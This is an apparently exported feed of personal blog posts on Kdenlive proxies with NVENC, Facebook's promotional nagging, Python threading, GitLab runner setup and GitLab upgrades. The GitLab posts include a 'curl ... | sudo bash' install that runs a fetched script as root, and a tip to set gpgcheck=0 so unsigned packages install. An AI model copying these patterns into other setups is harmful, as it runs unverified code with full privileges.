&lt;tr&gt;&lt;td class="label"&gt;[3]&lt;/td&gt;&lt;td&gt;&lt;a class="reference external" href="https://superuser.com/questions/856025/any-downsides-to-always-using-the-movflags-faststart-parameter"&gt;Any downsides to always using the -movflags faststart parameter?&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
</content><category term="video editing"></category><category term="kdenlive"></category><category term="video editing"></category><category term="nvidia"></category></entry><entry><title>Speeding up generation of Kdenlive proxies with nvenc</title><link href="https://flamy.ca/blog/2019-10-14-speeding-up-generation-of-kdenlive-proxies-with-nvenc.html" rel="alternate"></link><published>2019-10-14T00:00:00-04:00</published><updated>2019-10-14T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2019-10-14:/blog/2019-10-14-speeding-up-generation-of-kdenlive-proxies-with-nvenc.html</id><summary type="html">&lt;p class="first last"&gt;speedup proxies using nvenc&lt;/p&gt;
</summary><content type="html">&lt;div class="section" id="background"&gt;
&lt;h2&gt;Background&lt;/h2&gt;
&lt;p&gt;I've been using kdenlive video editor in the past year or so, and I like it a lot. But sometimes when I edit lots of videos it gets frustrating when the computer needs to stop and load another clip from storage device during preview. It takes a while even on an SSD drive.&lt;/p&gt;
&lt;p&gt;Proxies are just low-res re-encodings of the same video, that lets kdenlive load smaller clips, which takes significantly less time and makes the editor more responsive. The proxy clips need to be encoded in the first place, when the videos are originally loaded into the project.&lt;/p&gt;
&lt;p&gt;This is where nvenc comes in. NVENC uses nvidia graphics card to greatly speed up video encoding at the price of running proprietary libraries that aren't compiled into a default package.&lt;/p&gt;
&lt;p&gt;This guide assumes you are running Debian with nvidia libraries installed and using ffmpeg from &lt;a class="reference external" href="https://www.deb-multimedia.org/"&gt;deb-multimedia repository&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I did a talk on the basics of setting up nvidia libraries and ffmpeg codec for debian here -- &lt;a class="reference external" href="https://youtu.be/eMu7ynAwECY?t=173"&gt;GPU computing in Debian with Alex Volkov&lt;/a&gt;
I'm using GeForce GTX1060 6GB on running debian testing (bullseye).&lt;/p&gt;
&lt;p&gt;For quick video scaling you need to have &lt;a class="reference external" href="https://developer.nvidia.com/ffmpeg"&gt;CUDA Scale Filter&lt;/a&gt; however, it's not shipped by default with ffmpeg not even in deb-multimedia repository because it relies on &lt;cite&gt;libnppc10 &amp;lt;https://packages.debian.org/bullseye/libnppc10&amp;gt;&lt;/cite&gt; which is in non-free, and having a dependency on a non-free repository is against the packaging policy of deb-multimedia. So this has to be compiled manually.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="manually-compile-ffmpeg-to-add-scale-npp-support"&gt;
&lt;h2&gt;Manually compile FFMPEG to add scale_npp support&lt;/h2&gt;
&lt;p&gt;Install libnppc10 package that provides scale_npp filter.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt install libnppc10
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Install all build dependencies of ffmpeg&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt-get build-dep ffmpeg
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Find a folder on your computer where the build take place, the whole thing takes about 2.8GB of space. Download source code with the following command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ apt-get source ffmpeg
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Once ffmpeg source has been downloaded, add the following configuration parameters in &lt;strong&gt;debian/rules&lt;/strong&gt; under CONFIG_ALL variable&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nv"&gt;CONFIG_ALL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
--enable-libnpp &lt;span class="se"&gt;\&lt;/span&gt;
--enable-cuda &lt;span class="se"&gt;\&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Compile the package. This is going to take a while.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ dpkg-buildpackage
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Now if you go one directory level up, you should see the following packages created at the end of compilation process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ls | grep .deb$
ffmpeg_4.2.1-dmo3_amd64.deb
ffmpeg-dbgsym_4.2.1-dmo3_amd64.deb
ffmpeg-doc_4.2.1-dmo3_all.deb
libavcodec58_4.2.1-dmo3_amd64.deb
libavcodec58-dbgsym_4.2.1-dmo3_amd64.deb
libavcodec-dev_4.2.1-dmo3_amd64.deb
libavdevice58_4.2.1-dmo3_amd64.deb
libavdevice58-dbgsym_4.2.1-dmo3_amd64.deb
libavdevice-dev_4.2.1-dmo3_amd64.deb
libavfilter7_4.2.1-dmo3_amd64.deb
libavfilter7-dbgsym_4.2.1-dmo3_amd64.deb
libavfilter-dev_4.2.1-dmo3_amd64.deb
libavformat58_4.2.1-dmo3_amd64.deb
libavformat58-dbgsym_4.2.1-dmo3_amd64.deb
libavformat-dev_4.2.1-dmo3_amd64.deb
libavresample4_4.2.1-dmo3_amd64.deb
libavresample4-dbgsym_4.2.1-dmo3_amd64.deb
libavresample-dev_4.2.1-dmo3_amd64.deb
libavutil56_4.2.1-dmo3_amd64.deb
libavutil56-dbgsym_4.2.1-dmo3_amd64.deb
libavutil-dev_4.2.1-dmo3_amd64.deb
libpostproc55_4.2.1-dmo3_amd64.deb
libpostproc55-dbgsym_4.2.1-dmo3_amd64.deb
libpostproc-dev_4.2.1-dmo3_amd64.deb
libswresample3_4.2.1-dmo3_amd64.deb
libswresample3-dbgsym_4.2.1-dmo3_amd64.deb
libswresample-dev_4.2.1-dmo3_amd64.deb
libswscale5_4.2.1-dmo3_amd64.deb
libswscale5-dbgsym_4.2.1-dmo3_amd64.deb
libswscale-dev_4.2.1-dmo3_amd64.deb
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Install the packages using the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# dpkg -i *.deb
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Verify that scale_npp filter is available with the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ffmpeg -hide_banner -filters | grep scale_npp
... scale_npp         V-&amp;gt;V       NVIDIA Performance Primitives video scaling and format conversion
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="make-kdenlive-to-use-scale-npp-proxies"&gt;
&lt;h2&gt;Make kdenlive to use scale_npp proxies&lt;/h2&gt;
&lt;p&gt;Once scale_npp filter is available, let kdenlive use it. I tested this on Kdenlive 19.08.1.&lt;/p&gt;
&lt;p&gt;Go to &lt;strong&gt;Settings -&amp;gt; Configure Kdenlive -&amp;gt; Proxy Clips&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Click settings next to an encoding profile and then add a new profile.&lt;/p&gt;
&lt;img alt="Add new proxy encoding profile" class="align-center" src="/images/2019-10-14/001-add-proxy-clip.png" /&gt;
&lt;p&gt;I use the following proxy, specifically for the video output of my Panasonic GH4 in MOV mode. I find if I try to use other codec than aac, I'd get 'Not supported errors'&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Profile Name:&lt;/strong&gt; x264-nvenc-gh4-aac-h264_cuvid&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parameters:&lt;/strong&gt; -hwaccel cuvid -c:v h264_cuvid -i -vf scale_npp=720:-2 -vcodec h264_nvenc -g 1 -bf 0 -vb 0 -preset fast -acodec aac&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;File Exension:&lt;/strong&gt; mov&lt;/p&gt;
&lt;img alt="dialog of profile parameters with the settings above" class="align-center" src="/images/2019-10-14/002-profile-parameters.png" /&gt;
&lt;p&gt;Then back in 'Configure Kdenlive' window, go to 'Environment' section and in 'Proxy Clips' set concurrent threads to '1'. My video card supports only two streams and by default two proxy clips are processed at once, if I have more streams than that, nvcodec will raise out of memory error.&lt;/p&gt;
&lt;img alt="setting 1 concurrent proxy clip encoding thread" class="align-center" src="/images/2019-10-14/003-proxy-clip-environment.png" /&gt;
&lt;/div&gt;
&lt;div class="section" id="testing"&gt;
&lt;h2&gt;Testing&lt;/h2&gt;
&lt;p&gt;When selecting proxy clip in the clip preview. During clip encoding Video Engine Utilization in nvidia-settings should be between 60%-100%&lt;/p&gt;
&lt;img alt="Typical gpu utilization when encoding proxies" class="align-center" src="/images/2019-10-14/004-gpu-utilization.png" /&gt;
&lt;/div&gt;
</content><category term="video editing"></category><category term="kdenlive"></category><category term="video editing"></category><category term="nvidia"></category></entry><entry><title>Fear Of Missing Out as a business model for Facebook</title><link href="https://flamy.ca/blog/2018-11-22-fear-of-missing-out-as-a-business-model-for-facebook.html" rel="alternate"></link><published>2018-11-22T16:50:00-05:00</published><updated>2018-11-22T16:50:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2018-11-22:/blog/2018-11-22-fear-of-missing-out-as-a-business-model-for-facebook.html</id><summary type="html">&lt;p&gt;I have written this post back in September, but didn't get arount to posting it now.&lt;/p&gt;
&lt;p&gt;I  quit twitter back in September, when I finally I got convinced that twitter managed to find business model where they convert human misery into money.&lt;/p&gt;
&lt;p&gt;I'm a member of the board of a …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I have written this post back in September, but didn't get arount to posting it now.&lt;/p&gt;
&lt;p&gt;I  quit twitter back in September, when I finally I got convinced that twitter managed to find business model where they convert human misery into money.&lt;/p&gt;
&lt;p&gt;I'm a member of the board of a Linux users group in Toronto and during the meeting in September I raised a question about having presence on such user-hostile social media platforms but I was given a good counter-argument that it is how people find out about our events and mailing list. So I decided to give it another changes and post a few things on often-neglected facebook page.&lt;/p&gt;
&lt;p&gt;I'm an administrator of our brand account page and facebook has been nagging me about 'writing a post' every week or so.&lt;/p&gt;
&lt;img alt="Messages from facebook saying I should post something on brand account" class="align-center" src="/images/2018-09-07/facebook_nag_content_fb.png" /&gt;
&lt;p&gt;When I don't click on those messages they send me emails.&lt;/p&gt;
&lt;img alt="Emails from facebook saying I should post something on brand account" class="align-center" src="/images/2018-09-07/facebook_nag_content_email.png" /&gt;
&lt;p&gt;I decided to try and put some effort in having presence. Instead of the usual posting links with minimal description, I started writing a post about our upcoming event. facebook suggested for the post to be turned into a calendar event and I followed the suggestion.&lt;/p&gt;
&lt;img alt="Posts will not show up in users timeline unless you pay for 'boost'" src="/images/2018-09-07/facebook_post_boost.png" /&gt;
&lt;img alt="Top of the page event boost" src="/images/2018-09-07/facebook_event_boost.png" /&gt;
&lt;img alt="Mid page event boost" src="/images/2018-09-07/facebook_event_boost_2.png" /&gt;
&lt;p&gt;My experience doing this wasn't all that stellar -- Facebook was very helpful with putting 'Boost' button next to 'Post'; if you really want anyone to see this even at all, you will need to boost your event.&lt;/p&gt;
&lt;p&gt;When creating an event, it's plainly laid out that whatever you have to say will not show up in users timeline unless users are specifically looking for it.&lt;/p&gt;
&lt;img alt="Reached is a euphemism" src="/images/2018-09-07/facebook_post_boost_reached.png" /&gt;
&lt;p&gt;facebook also likes to show me how many people were 'reached', which is a euphemism for the number of people who were actually 'shown' the event, and that number was less than 10% of the people who subscribed. Of course when I post links to our videos the number is around 30% -- so the policy there is to let the users see the content, but if a page promotes any kind of thing where some users might participate, the business has to pay for the people to show up.&lt;/p&gt;
&lt;p&gt;After I created the event the marketing algorithm kicked in, and the person who wrote the algorithm did their best to sent another customer through a funnel, so I kept getting emails with a simple message -- &amp;quot;Let up to 15000 people see your event for only $20&amp;quot;.&lt;/p&gt;
&lt;img alt="Facebook asking for $20 to show my event to 15000 people via email" src="/images/2018-09-07/facebook_marketing_nag_email.png" /&gt;
&lt;p&gt;This was an excuse for it to send me email every day leading up to event, and this is how facebook feeds on your insecurity, every day it will email you saying -- &amp;quot;Are you sure people show up? Pay us $20 and reach up to 15000 people.&amp;quot; The message crafted to be as inoffensive as it is persuasive.&lt;/p&gt;
&lt;p&gt;Since facebook didn't get any satisfaction from me via email, they added the same notification with the same message whenever I logged in with my personal account.&lt;/p&gt;
&lt;img alt="Facebook asking for $20 to show my event to 15000 people via facebook event notification." src="/images/2018-09-07/facebook_marketing_nag_fb.png" /&gt;
&lt;p&gt;Event notification haven't had any meaning for a very long time -- and if I wanted to keep them useful I would have to constantly update my privacy settings, or I would be notified about my friend's brother's father's uncle's dog's walkies. This was done to increase 'engagement' to make us feel like something important is happening and everyone would keep checking facebook, now the same technique is used to extract money from people.&lt;/p&gt;
&lt;p&gt;As the event approached facebook kept hammering me with messages whenever I logged in.&lt;/p&gt;
&lt;img alt="other people promoting things on facebook. Be like other people" src="/images/2018-09-07/facebook_nag_be_like_other_people.png" /&gt;
&lt;img alt="more nagging in my timeline" src="/images/2018-09-07/facebook_nag_my_timeline.png" /&gt;
&lt;p&gt;I understand what is going on behind these constant messaging and I would delete those messages, but this got me thinking about how this affects others, like a the person who doesn't know these details and when these messages are effective. The messages crafted to people feel inadequate, isolated and compel in strongest terms to give up the money to have that small bit of social connection and hope that everything is going to be fine and things are going to work out.&lt;/p&gt;
&lt;p&gt;Based on these facts I've become convinced that by just doing nothing and staying on those platforms I collaborate with these awful enterprises, I know what is going on.
If I do nothing, I will remain as the leverage, for the likes of facebook and twitter, to keep people on their services; where they would extract profits by tormenting the people who aren't aware of what is going on.&lt;/p&gt;
&lt;p&gt;In the short term, changing brand account to a community would prevent me getting bombarded by constant facebook nagging, but in the long term, promoting alternative ways of interacting with people, like adding pinned pages with contact information when no corporation stands as a middleman is a way to go. This may not give immediate result but at least when someone is interested in what I have to say, they would be aware that one of the things I have to say -- don't use facebook.&lt;/p&gt;
&lt;p&gt;Useful alternatives for me seems to be mastodon -- as an alternative to twitter; moderated mailing lists with Code of Conduct -- for general discussion.&lt;/p&gt;
</content><category term="misc"></category></entry><entry><title>Simple threading in Python 3</title><link href="https://flamy.ca/blog/2018-08-13-simple-threading-in-python-3.html" rel="alternate"></link><published>2018-08-13T00:00:00-04:00</published><updated>2018-08-13T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2018-08-13:/blog/2018-08-13-simple-threading-in-python-3.html</id><summary type="html">&lt;p&gt;I've been working in Python 3 on an an embarrassingly parallel task of parsing and importing data into Postgres. Once I've done single-threaded implementation I looked around for parallelizing the program and after a few tries I managed to get everything running in parallel.&lt;/p&gt;
&lt;p&gt;This is a quick note on …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've been working in Python 3 on an an embarrassingly parallel task of parsing and importing data into Postgres. Once I've done single-threaded implementation I looked around for parallelizing the program and after a few tries I managed to get everything running in parallel.&lt;/p&gt;
&lt;p&gt;This is a quick note on how to get a thread pool working in Python 3.6&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;concurrent.futures&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;data_source&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Fetch data to be processed in parallel&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# Implement fetching data&lt;/span&gt;
    &lt;span class="k"&gt;yield&lt;/span&gt; &lt;span class="n"&gt;item&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;process_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;input_value&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sd"&gt;&amp;quot;&amp;quot;&amp;quot;Process data without modifying input&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="c1"&gt;# Implement saving data to postgres&lt;/span&gt;


&lt;span class="n"&gt;MAX_THREADS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="n"&gt;pool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ThreadPoolExecutor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MAX_THREADS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;data_source&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;pool&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;process_data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;In the code block above, &lt;strong&gt;data_source&lt;/strong&gt; function is an iterator that generates one &lt;strong&gt;value&lt;/strong&gt; at a time. &lt;strong&gt;pool.submit&lt;/strong&gt; calls &lt;strong&gt;process_data&lt;/strong&gt; with &lt;strong&gt;value&lt;/strong&gt; as a parameter of &lt;strong&gt;process_data&lt;/strong&gt; in parallel until thread pool limited in size by &lt;strong&gt;MAX_THREADS&lt;/strong&gt; is exhausted, then the program waits for a thread to become available and fetches the next value, until &lt;strong&gt;data_sources&lt;/strong&gt; generator is exhausted.&lt;/p&gt;
&lt;p&gt;In this example &lt;strong&gt;pool.submit&lt;/strong&gt; passes single parameter &lt;strong&gt;value&lt;/strong&gt; to &lt;strong&gt;process_data&lt;/strong&gt;, but &lt;strong&gt;pool.submit&lt;/strong&gt; can pass any number of parameters required for the callee function i.e.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;pool_submit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;callee_func&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;callee_param_1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;callee_param_n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="n"&gt;callee_param_n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I really like this threading implementation because it's really simple, there's no need to write any code to manage threading pool, single- and multi- threaded implementation can live side-by-site if there's ever a need to debug any logic in &lt;em&gt;process_data&lt;/em&gt; function.&lt;/p&gt;
&lt;p&gt;Still this threading library implemented in python, whic is not true threading and multi-threaded code is a subject of Global Interpreter Lock so the CPU-bound tasks will not benefit from this.&lt;/p&gt;
&lt;p&gt;ThreadPoolExecutor documentation -- &lt;a class="reference external" href="https://docs.python.org/3/library/concurrent.futures.html"&gt;https://docs.python.org/3/library/concurrent.futures.html&lt;/a&gt;&lt;/p&gt;
</content><category term="python"></category><category term="python"></category><category term="multithreading"></category></entry><entry><title>Quick gitlab runner setup</title><link href="https://flamy.ca/blog/2018-05-01-quick-gitlab-runner-setup.html" rel="alternate"></link><published>2018-05-01T00:00:00-04:00</published><updated>2018-05-01T00:00:00-04:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2018-05-01:/blog/2018-05-01-quick-gitlab-runner-setup.html</id><summary type="html">&lt;p class="first last"&gt;gitlab-runner setup for simple ci configuration&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Gitlab runner is a continuous integration tool that I've found it to be a lot easier than Jenkins to wrap my head around when it comes to deploying source code to demo machines.&lt;/p&gt;
&lt;p&gt;In this scenario gitlab runner it pulls per-project source code to a runner machine then executes any of the commands specified in &lt;cite&gt;.gitlab-ci.yml&lt;/cite&gt; from source code root directory.&lt;/p&gt;
&lt;p&gt;Here's a sample configuration of updating source code on buildout-based Plone 5 project:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;stages:
  - deploy
001 stop plone server:
  stage: deploy
  script:
    - ./bin/supervisorctl shutdown
  cache:
    paths:
      - .installed.cfg
      - bin/*
      - develop-eggs/*
      - downloads/*
      - eggs/*
      - parts/*
      - var/*
002 rebuild project:
  stage: deploy
  script:
    - ./bin/buildout -v -c buildout_prod.cfg
    - ./bin/supervisord
  cache:
    paths:
      - .installed.cfg
      - bin/*
      - develop-eggs/*
      - downloads/*
      - eggs/*
      - parts/*
      - var/*
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;I've been repeating a task of installing a runner for a particular projects -- setting up a gitlab runner, and I've found it to be spread over at least 3 documents:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;a class="reference external" href="https://docs.gitlab.com/runner/install/linux-repository.html"&gt;Install GitLab Runner using the official GitLab repositories&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://docs.gitlab.com/runner/register/index.html"&gt;Registering runners&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a class="reference external" href="https://docs.gitlab.com/runner/commands/README.html"&gt;Gitlab Runner commands&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To get runner installed and registered, the following steps should be taken:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Add gitlab-runner repo&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CentOS 7&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# curl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.rpm.sh | sudo bash
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Debian&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# curl -L https://packages.gitlab.com/install/repositories/runner/gitlab-runner/script.deb.sh | sudo bash
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="2"&gt;
&lt;li&gt;Install gitlab-runner package&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;CentOS 7&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# yum install gitlab-runner
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Debian&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# apt-get install gitlab-runner
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="3"&gt;
&lt;li&gt;Remove default gitlab-runner configuration (as root) and run it as a selected user. This step is not required if you're using default configuration, but in my case I have already setup environment for user 'alex' and it is a lot easier to run jobs there.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# gitlab-runner uninstall
# gitlab-runner install --working-directory=/home/alex --user=alex
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="4"&gt;
&lt;li&gt;Register gitlab runner with a gitlab server&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# gitlab-runner register
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;For the last step the registration information is found in &lt;cite&gt;&amp;lt;gitlab server&amp;gt;/admin/runners&lt;/cite&gt;&lt;/p&gt;
&lt;img alt="gitlab runner token info" class="align-center" src="/images/0005_gitab_ci_runner.png" style="width: 600px;" /&gt;
&lt;p&gt;This document provides instructions on how to lock shared runners to specific projects -- &lt;a class="reference external" href="https://docs.gitlab.com/ee/ci/runners/"&gt;https://docs.gitlab.com/ee/ci/runners/&lt;/a&gt;&lt;/p&gt;
</content><category term="linux"></category><category term="gitlab"></category><category term="git"></category><category term="plone"></category><category term="gitlab ci"></category><category term="ci"></category></entry><entry><title>Upgrading from old version of Gitlab CE</title><link href="https://flamy.ca/blog/2018-02-21-upgrading-from-old-version-of-gitlab-ce.html" rel="alternate"></link><published>2018-02-21T00:00:00-05:00</published><updated>2018-02-21T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2018-02-21:/blog/2018-02-21-upgrading-from-old-version-of-gitlab-ce.html</id><summary type="html">&lt;p&gt;I've came across an old instance of Gitlab running on CentOS 6.&lt;/p&gt;
&lt;p&gt;The old instance version is 8.10.5 installed using omnibus package. The omnibus package contains Postgres database, which needs to be updated from Postgres 9.2.x used in Gitlab 8.10 release to Postgres 9.6 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've came across an old instance of Gitlab running on CentOS 6.&lt;/p&gt;
&lt;p&gt;The old instance version is 8.10.5 installed using omnibus package. The omnibus package contains Postgres database, which needs to be updated from Postgres 9.2.x used in Gitlab 8.10 release to Postgres 9.6.x used in Gitlab 10.4.4.&lt;/p&gt;
&lt;p&gt;The documentation is not entirely complete, as I be not many people are running Gitlab instance from 2015 that hasn't been updated. There are few mentions of gitlab-ctl pg-upgrade command but the command is not available in Gitlab 8.10.5, trying to run that will provoke gitlab-ctl to give the following response -- &amp;quot;i don't know that command&amp;quot;&lt;/p&gt;
&lt;p&gt;What I eventually figured out, and what needs to be done is to update to version 9.5.10 first -- that would update included postgres to 9.6.x&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# yum install gitlab-ce-9.5.10-ce.0.el6.x86_64.rpm
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then update gitlab to the latest version.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# yum install gitlab-ce
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="section" id="additional-notes"&gt;
&lt;h2&gt;Additional notes&lt;/h2&gt;
&lt;p&gt;If you need to test backups for an old version of Gitlab, you can download and install that version of the package from here -- &lt;a class="reference external" href="https://packages.gitlab.com/app/gitlab/gitlab-ce/search?filter=rpms&amp;amp;q=gitlab-ce-8.10&amp;amp;dist="&gt;https://packages.gitlab.com/app/gitlab/gitlab-ce/search?filter=rpms&amp;amp;q=gitlab-ce-8.10&amp;amp;dist=&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The package description for the specific package I'm using is here -- &lt;a class="reference external" href="https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/6/gitlab-ce-8.10.5-ce.0.el6.x86_64.rpm"&gt;https://packages.gitlab.com/gitlab/gitlab-ce/packages/el/6/gitlab-ce-8.10.5-ce.0.el6.x86_64.rpm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The page also contains installation instructions. Once download and install is finished, run reconfigure script.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# gitlab-ctl reconfigure
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The script will create the location /var/opt/gitlab/backups/ into which Gitlab backup files should be copied&lt;/p&gt;
&lt;p&gt;Restore gitlab from backup using the following command&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;# gitlab-rake gitlab:backup:restore
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Then reboot the system. This should get you to the point where it is possible to test Gitlab upgrade process.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="gpg-error"&gt;
&lt;h2&gt;GPG error&lt;/h2&gt;
&lt;p&gt;Older version of Gitlab ship with unsigned packages and yum install command would refuse to run returning this error message -- &amp;quot;Package is not signed&amp;quot;.&lt;/p&gt;
&lt;p&gt;A workaround is to set gpgcheck=0 in /etc/yum.repos.d/gitlab_gitlab-ce.repo&lt;/p&gt;
&lt;/div&gt;
</content><category term="linux"></category><category term="git"></category><category term="gitlab"></category></entry><entry><title>Installing python packages in development mode</title><link href="https://flamy.ca/blog/2017-01-02-installing-python-packages-in-development-mode.html" rel="alternate"></link><published>2017-01-02T00:00:00-05:00</published><updated>2017-01-02T00:00:00-05:00</updated><author><name>Alex Volkov</name></author><id>tag:flamy.ca,2017-01-02:/blog/2017-01-02-installing-python-packages-in-development-mode.html</id><summary type="html">&lt;p class="first last"&gt;installing package requirements in development mode&lt;/p&gt;
</summary><content type="html">&lt;p&gt;When working on a python project with several dependencies, sometimes I want to see what's going on in one of the required packages. I don't use IDEs so the preferred method of debugging code inside of package dependencies is to grep for an entry point to that package inside of virtualenv, open the source file, add a debug point and re-run test suite or a script until the code hits the debug point.&lt;/p&gt;
&lt;p&gt;The main issue with this approach is when debug console gets activated, it doesn't print out any source code surrounding the debug point, I have to constantly switch between source editor and console hoping that the line printed out in the console matches file lines open in the editor.&lt;/p&gt;
&lt;p&gt;A better way is to clone the source package and then install it in the current virtual environment with regular install command.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;(myproj)$ python setup.py develop
&lt;/pre&gt;&lt;/div&gt;
